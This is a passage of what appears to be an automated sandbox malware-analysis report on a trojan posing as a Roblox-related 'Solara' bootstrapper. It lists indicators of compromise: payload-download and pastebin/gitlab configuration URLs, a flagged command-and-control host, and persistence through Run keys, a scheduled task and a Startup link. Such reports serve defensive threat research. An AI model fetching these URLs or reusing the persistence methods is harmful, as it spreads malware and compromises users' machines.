http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000022.00000002.1986459477.0000020B8022A000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	YgJ5inWPQO.exe, 00000002.00000002.1494569830.000001D8A93F3000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494594655.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1491822955.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487788295.000001D8A93F4000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1493147338.000001D8A93F2000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487765708.000001D8A93EE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://crl.mic	powershell.exe, 0000001E.00000002.1940467357.00000254D64E6000.00000004.00000020.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 00000022.00000002.2145283227.0000020B90071000.00000004.00000800.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://docs.python.org/3/howto/mro.html.	YgJ5inWPQO.exe, 00000002.00000002.1494882785.000001D8A94E0000.00000004.00001000.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1475162914.000001D8A94AF000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1476006333.000001D8A94BB000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1475162914.000001D8A9448000.00000004.00000020.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.is_package	YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A90A0000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 00000022.00000002.1986459477.0000020B8022A000.00000004.00000800.00020000.00000000.sdmp	false	high
http://james.newtonking.com/projects/json	dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp	false	high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.create_module	YgJ5inWPQO.exe, 00000002.00000002.1494252029.000001D8A9124000.00000004.00001000.00020000.00000000.sdmp	false	high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	YgJ5inWPQO.exe, 00000002.00000002.1494569830.000001D8A93F3000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1494594655.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1491822955.000001D8A93F6000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487788295.000001D8A93F4000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1493147338.000001D8A93F2000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000003.1487765708.000001D8A93EE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://getsolara.dev	dddd.exe, 0000000E.00000002.1731703513.0000026234105000.00000004.00000800.00020000.00000000.sdmp	false	high
https://discord.com;http://127.0.0.1:6463/rpc?v=11	YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp	false	unknown
https://gitlab.com/cmd-softworks1/a/-/snippets/4768754/raw/main/endpoint.json	YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234172000.00000004.00000800.00020000.00000000.sdmp	false	high
https://485b1b07.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341CD000.00000004.00000800.00020000.00000000.sdmp	false	unknown
https://getsolara.dev	dddd.exe, 0000000E.00000002.1731703513.0000026234172000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262340FA000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262340ED000.00000004.00000800.00020000.00000000.sdmp	false	high
https://gitlab.com/cmd-softworks1/a/-/snippets/4768756/raw/main/discord.json	YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234051000.00000004.00000800.00020000.00000000.sdmp	false	high
http://127.0.0.1:64632	dddd.exe, 0000000E.00000002.1731703513.000002623414E000.00000004.00000800.00020000.00000000.sdmp	false	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000014.00000002.1580676392.0000021DB0679000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1667545883.000001383881A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1802770093.00000254BE039000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.newtonsoft.com/jsonschema	dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp	false	high
https://www.nuget.org/packages/Newtonsoft.Json.Bson	YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp	false	high
http://crl.m~	powershell.exe, 0000001E.00000002.1940467357.00000254D64E6000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://aka.ms/pscore68	powershell.exe, 00000014.00000002.1580676392.0000021DB0451000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001B.00000002.1667545883.00000138385F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001E.00000002.1802770093.00000254BDE24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000022.00000002.1986459477.0000020B80001000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.python.org/psf/license/)	YgJ5inWPQO.exe, 00000002.00000002.1499325131.00007FFBAACA9000.00000002.00000001.01000000.00000004.sdmp	false	high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	YgJ5inWPQO.exe, 00000002.00000003.1487765708.000001D8A93EE000.00000004.00000020.00020000.00000000.sdmp	false	high
http://nodejs.org	dddd.exe, 0000000E.00000002.1731703513.0000026234332000.00000004.00000800.00020000.00000000.sdmp	false	high
http://clientsettings.roblox.com	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nodejs.org/dist/v18.16.0/node-v18.16.0-x64.msi	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234167000.00000004.00000800.00020000.00000000.sdmp, dddd.exe, 0000000E.00000002.1731703513.00000262341C5000.00000004.00000800.00020000.00000000.sdmp	false	high
https://pastebin.com/raw/pjseRvyK	YgJ5inWPQO.exe, 00000002.00000003.1477560662.000001D8A96BD000.00000004.00000020.00020000.00000000.sdmp, YgJ5inWPQO.exe, 00000002.00000002.1497896040.000001D8A98E0000.00000004.00000020.00020000.00000000.sdmp, dddd.exe, 0000000E.00000000.1480645600.0000026232202000.00000002.00000001.01000000.00000009.sdmp, dddd.exe, 0000000E.00000002.1731703513.0000026234172000.00000004.00000800.00020000.00000000.sdmp	false	high
https://clientsettings.roblox.com	dddd.exe, 0000000E.00000002.1731703513.00000262341EF000.00000004.00000800.00020000.00000000.sdmp	false	high
https://peps.python.org/pep-0263/	YgJ5inWPQO.exe, 00000002.00000002.1499325131.00007FFBAACA9000.00000002.00000001.01000000.00000004.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States	53334	TUT-ASUS	false
128.116.123.3	edge-term4-fra2.roblox.com	United States	22697	ROBLOX-PRODUCTIONUS	false
104.21.93.27	getsolara.dev	United States	13335	CLOUDFLARENETUS	false
104.20.22.46	nodejs.org	United States	13335	CLOUDFLARENETUS	false
147.185.221.18	hope-asia.gl.at.ply.gg	United States	12087	SALSGIVERUS	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579069
Start date and time:	2024-12-20 19:02:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	43
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	YgJ5inWPQO.exe renamed because original name is a hash value
Original Sample Name:	fdd53599267201df460d004d399609274c7f0ba5342004d5c73e817f33a670a2.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@49/42@6/6
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 64% Number of executed functions: 126 Number of non-executed functions: 222
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22, 52.149.20.212, 40.126.53.13, 20.12.23.50, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, login.live.com, otelrules.azureedge.net, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target System User.exe, PID 1976 because it is empty
Execution Graph export aborted for target System User.exe, PID 2296 because it is empty
Execution Graph export aborted for target System User.exe, PID 7868 because it is empty
Execution Graph export aborted for target System User.exe, PID 8160 because it is empty
Execution Graph export aborted for target dddd.exe, PID 6476 because it is empty
Execution Graph export aborted for target powershell.exe, PID 2212 because it is empty
Execution Graph export aborted for target powershell.exe, PID 4932 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7288 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7524 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
VT rate limit hit for: YgJ5inWPQO.exe

Simulations

Behavior and APIs

Time	Type	Description
13:03:19	API Interceptor	71x Sleep call for process: dddd.exe modified
13:03:20	API Interceptor	66x Sleep call for process: powershell.exe modified
13:03:38	API Interceptor	1x Sleep call for process: WerFault.exe modified
13:04:28	API Interceptor	72x Sleep call for process: msedge.exe modified
19:04:29	Task Scheduler	Run new task: System User path: C:\Users\user\AppData\Roaming\System s>User.exe
19:04:29	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run System User C:\Users\user\AppData\Roaming\System User.exe
19:04:38	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run System User C:\Users\user\AppData\Roaming\System User.exe
19:04:47	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System User.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	KJhsNv2RcI.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	gs7lQa4EuM.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	doc00290320092.jse	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	ip-api.com/line/?fields=hosting
	DHL_231437894819.bat.exe	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	dlhost.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	WdlA0C4PkO.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	ip-api.com/json
	xt.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	roblox1.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	ip-api.com/json
	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	ip-api.com/json
	random.exe.6.exe	Get hash	malicious	LummaC, Python Stealer, Amadey, LummaC Stealer, Monster Stealer, Stealc, Vidar	Browse	ip-api.com/json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
getsolara.dev	wmdqEYgW2i.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.93.27
	Bootstrapper.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	https://f29cc861.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe	Get hash	malicious	HTMLPhisher	Browse	104.21.93.27
	sDKRz09zM7.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	104.21.93.27
	kwlYObMOSn.exe	Get hash	malicious	XWorm	Browse	172.67.203.125
	bootstraper.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	bootstraper.exe	Get hash	malicious	Unknown	Browse	104.21.93.27
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	104.21.93.27
	KKjubdmzCR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.21.93.27
	AYUGPPBj0x.exe	Get hash	malicious	DCRat	Browse	104.21.93.27
edge-term4-fra2.roblox.com	wmdqEYgW2i.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	128.116.123.3
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	128.116.123.3
	KKjubdmzCR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	128.116.123.3
	SecuriteInfo.com.Win32.Agent-BDOJ.1516.18040.exe	Get hash	malicious	Blank Grabber	Browse	128.116.123.4
	oIDX88LpSs.exe	Get hash	malicious	XWorm	Browse	128.116.123.4
	hKWBNgRd7p.exe	Get hash	malicious	XWorm	Browse	128.116.123.3
	BootstrapperV1.19.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	128.116.123.4
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	128.116.123.3
	SecuriteInfo.com.Win64.MalwareX-gen.4290.27796.exe	Get hash	malicious	Unknown	Browse	128.116.123.3
	SecuriteInfo.com.Win64.MalwareX-gen.22026.2513.exe	Get hash	malicious	Unknown	Browse	128.116.123.4
nodejs.org	wp-s2.exe	Get hash	malicious	Python BackDoor	Browse	104.20.22.46
	wp-s2.exe	Get hash	malicious	Python BackDoor	Browse	104.20.22.46
	wp-cent.exe	Get hash	malicious	Python BackDoor	Browse	104.20.22.46
	wp-cent.exe	Get hash	malicious	Python BackDoor	Browse	104.20.22.46
	WTvNL75dCr.exe	Get hash	malicious	Python BackDoor	Browse	104.20.22.46
	WTvNL75dCr.exe	Get hash	malicious	Python BackDoor	Browse	104.20.22.46
	wmdqEYgW2i.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	104.20.22.46
	Bootstrapper.exe	Get hash	malicious	Unknown	Browse	104.20.22.46
	https://f29cc861.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe	Get hash	malicious	HTMLPhisher	Browse	104.20.23.46

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ROBLOX-PRODUCTIONUS	armv7l.elf	Get hash	malicious	Mirai	Browse	209.206.45.42
	wmdqEYgW2i.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	128.116.123.3
	Bootstrapper.exe	Get hash	malicious	Unknown	Browse	128.116.119.3
	https://f29cc861.solaraweb-alj.pages.dev/download/static/files/Bootstrapper.exe	Get hash	malicious	HTMLPhisher	Browse	128.116.119.3
	sDKRz09zM7.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	128.116.119.3
	kwlYObMOSn.exe	Get hash	malicious	XWorm	Browse	128.116.119.3
	bootstraper.exe	Get hash	malicious	Unknown	Browse	128.116.119.3
	bootstraper.exe	Get hash	malicious	Unknown	Browse	128.116.119.3
	8Hd0ZExgJz.exe	Get hash	malicious	Blank Grabber, Umbral Stealer, XWorm	Browse	128.116.123.3
	KKjubdmzCR.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	128.116.123.3
TUT-ASUS	KJhsNv2RcI.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	gs7lQa4EuM.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	doc00290320092.jse	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	208.95.112.1
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse	208.95.112.1
	DHL_231437894819.bat.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	dlhost.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	WdlA0C4PkO.exe	Get hash	malicious	Go Stealer, Skuld Stealer	Browse	208.95.112.1
	xt.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	roblox1.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
	roblox.exe	Get hash	malicious	Python Stealer, Monster Stealer	Browse	208.95.112.1
CLOUDFLARENETUS	http://url4659.orders.vanillagift.com/ls/click?upn=u001.4gSefN7qGt7uZc-2BljvSfDuK9c6f7zz-2BRDdNLkOmxp-2BfCpVRV4q5JSM05F18NmhW9aTh4D-2B-2FvKc3l62XSGdMxHErqjDyHVaRGnhWtdaxelWfxz8x2-2FY7A4qgb3tzDonO-2BR4v55hRVWLW8mGedQ4WKyhGmLG6TdN0VE3FuoaMfqbWnIJZADjzcMmwi0-2FbwmmeKkdfIhUk0sBHSi9RcRmdsfuOZwL5O2zEB6UFf08dp06kJXruK-2BF70HVCIIa3GSMCo48RLkzWG8dEOH-2FBZmckwy2IyrmhGk7TORgwM5bk4PbUxQPoYKq7IdXZDoj7BBWFZXgs6KkXD1kVfgQOsMLEKQeTvK5ATiMGw5YUv9FTPZiWgh4O-2B6hR3uc5gCam5ygOCJsmG3ya5dOP3AzZxmtrQO2ixrFnkLK-2Bkk5ChvTn26C-2BioOkvRUSczMMaDc3goe-2FffK-2FLybPlPtaG8BM0aogkRmbjy7uKwhjOW-2BFQyWewVzg-3DIgAR_79LTZgGyJjQA0yKF2CHqblXBaDJuc2sNW7Piu5vjvmdwcqDrB-2Buw9ZQukwHO-2BFDa1Pj-2BnPyP1wnuiUj8o1jeVFZ-2B0yTi1w6olXhC5xGcnSuX-2FPX8EC9nfY-2B3npShVzZ4Fae90bxak04TDiCsiP7PmtAOagYeRI4FU2qDP2MtD3eIC1vtRjmGkonGMDUW1rPFYKa2pBviC8swsnzOU26q7ssqOo-2FLjO6-2B2IyWprhTXXBsBk2HZWehLV3F8Prl0XOgIIe0Oi6f3V8mliLO9NN8Iw-3D-3D	Get hash	malicious	Unknown	Browse	104.19.230.21
	phish_alert_iocp_v1.10.16(15).eml	Get hash	malicious	Unknown	Browse	104.19.229.21
	https://lvxsystem.info/	Get hash	malicious	Unknown	Browse	172.67.183.243
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.113
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	172.67.197.170
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Fortexternal.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.90.135
	Sentinelled.vbs	Get hash	malicious	Unknown	Browse	104.21.86.72
CLOUDFLARENETUS	http://url4659.orders.vanillagift.com/ls/click?upn=u001.4gSefN7qGt7uZc-2BljvSfDuK9c6f7zz-2BRDdNLkOmxp-2BfCpVRV4q5JSM05F18NmhW9aTh4D-2B-2FvKc3l62XSGdMxHErqjDyHVaRGnhWtdaxelWfxz8x2-2FY7A4qgb3tzDonO-2BR4v55hRVWLW8mGedQ4WKyhGmLG6TdN0VE3FuoaMfqbWnIJZADjzcMmwi0-2FbwmmeKkdfIhUk0sBHSi9RcRmdsfuOZwL5O2zEB6UFf08dp06kJXruK-2BF70HVCIIa3GSMCo48RLkzWG8dEOH-2FBZmckwy2IyrmhGk7TORgwM5bk4PbUxQPoYKq7IdXZDoj7BBWFZXgs6KkXD1kVfgQOsMLEKQeTvK5ATiMGw5YUv9FTPZiWgh4O-2B6hR3uc5gCam5ygOCJsmG3ya5dOP3AzZxmtrQO2ixrFnkLK-2Bkk5ChvTn26C-2BioOkvRUSczMMaDc3goe-2FffK-2FLybPlPtaG8BM0aogkRmbjy7uKwhjOW-2BFQyWewVzg-3DIgAR_79LTZgGyJjQA0yKF2CHqblXBaDJuc2sNW7Piu5vjvmdwcqDrB-2Buw9ZQukwHO-2BFDa1Pj-2BnPyP1wnuiUj8o1jeVFZ-2B0yTi1w6olXhC5xGcnSuX-2FPX8EC9nfY-2B3npShVzZ4Fae90bxak04TDiCsiP7PmtAOagYeRI4FU2qDP2MtD3eIC1vtRjmGkonGMDUW1rPFYKa2pBviC8swsnzOU26q7ssqOo-2FLjO6-2B2IyWprhTXXBsBk2HZWehLV3F8Prl0XOgIIe0Oi6f3V8mliLO9NN8Iw-3D-3D	Get hash	malicious	Unknown	Browse	104.19.230.21
	phish_alert_iocp_v1.10.16(15).eml	Get hash	malicious	Unknown	Browse	104.19.229.21
	https://lvxsystem.info/	Get hash	malicious	Unknown	Browse	172.67.183.243
	Set-up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.84.113
	Ziraat_Bankasi_Swift_Mesaji_TXB04958T.scr.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, SystemBC, zgRAT	Browse	172.67.197.170
	Statement_3029_from_Cross_Traders_and_Logistics_ltd.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	Fortexternal.exe	Get hash	malicious	Unknown	Browse	172.67.75.163
	Loader.exe	Get hash	malicious	LummaC	Browse	104.21.90.135
	Sentinelled.vbs	Get hash	malicious	Unknown	Browse	104.21.86.72

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	P0RN-vidz.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	128.116.123.3 104.21.93.27 104.20.22.46
	2AIgdyA1Cl.exe	Get hash	malicious	Stealc, Vidar	Browse	128.116.123.3 104.21.93.27 104.20.22.46
	Sentinelled.vbs	Get hash	malicious	Unknown	Browse	128.116.123.3 104.21.93.27 104.20.22.46
	mniscreenthinkinggoodforentiretimegoodfotbusubessthings.hta	Get hash	malicious	Cobalt Strike	Browse	128.116.123.3 104.21.93.27 104.20.22.46
	QUOTATION#008792.exe	Get hash	malicious	AgentTesla	Browse	128.116.123.3 104.21.93.27 104.20.22.46
	Invoice DHL - AWB 2024 E4001 - 0000731.exe	Get hash	malicious	Snake Keylogger	Browse	128.116.123.3 104.21.93.27 104.20.22.46
	https://p.placed.com/api/v2/sync/impression?partner=barkley&plaid=0063o000014sWgoAAE&version=1.0&payload_campaign_identifier=71700000100870630&payload_timestamp=5943094174221506287&payload_type=impression&redirect=http%3A%2F%2Fgoogle.com%2Famp%2Fs%2Fgoal.com.co%2Fwp%2Fpayment	Get hash	malicious	HTMLPhisher	Browse	128.116.123.3 104.21.93.27 104.20.22.46
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	128.116.123.3 104.21.93.27 104.20.22.46
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse	128.116.123.3 104.21.93.27 104.20.22.46

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI4322\VCRUNTIME140.dll	wp-s2.exe	Get hash	malicious	Python BackDoor	Browse
	wp-s2.exe	Get hash	malicious	Python BackDoor	Browse
	wp-cent.exe	Get hash	malicious	Python BackDoor	Browse
	wp-cent.exe	Get hash	malicious	Python BackDoor	Browse
	WTvNL75dCr.exe	Get hash	malicious	Python BackDoor	Browse
	WTvNL75dCr.exe	Get hash	malicious	Python BackDoor	Browse
	chos.exe	Get hash	malicious	Unknown	Browse
	ihost.exe	Get hash	malicious	Python Stealer, Muck Stealer	Browse
	ahost.exe	Get hash	malicious	Blank Grabber	Browse
	PixelFlasher.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_dddd.exe_af393cc9913219998438774698f8342c562_9e3dda42_6bf57e09-797d-465b-954e-e36e0306d837\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2564849147072306
Encrypted:	false
SSDEEP:	192:lKuBAdr0bU9+dQlaWxejol2/fsLzuiF1Z24lO8J:cuBACbG+dQlaGl23sLzuiF1Y4lO8J
MD5:	FD1D8A1E04AF77B12B4C7821BA254246
SHA1:	0046A2784EDDB2F7B24BA2E56F134F42C8455A14
SHA-256:	A6771D3A837FDA4BCCFEDA217E89EEAC2819EF8670EE8EC676FC3DBA4FE595E7
SHA-512:	C6A6CA011F4C92CE3321C12107E005336AB68F4A6C5E3DFC605FFAE15811BB71E56F4CB73264FF4CD2BC815AE37E809C9A349C32B05E18DF6818FCD8368D1037
Malicious:	false
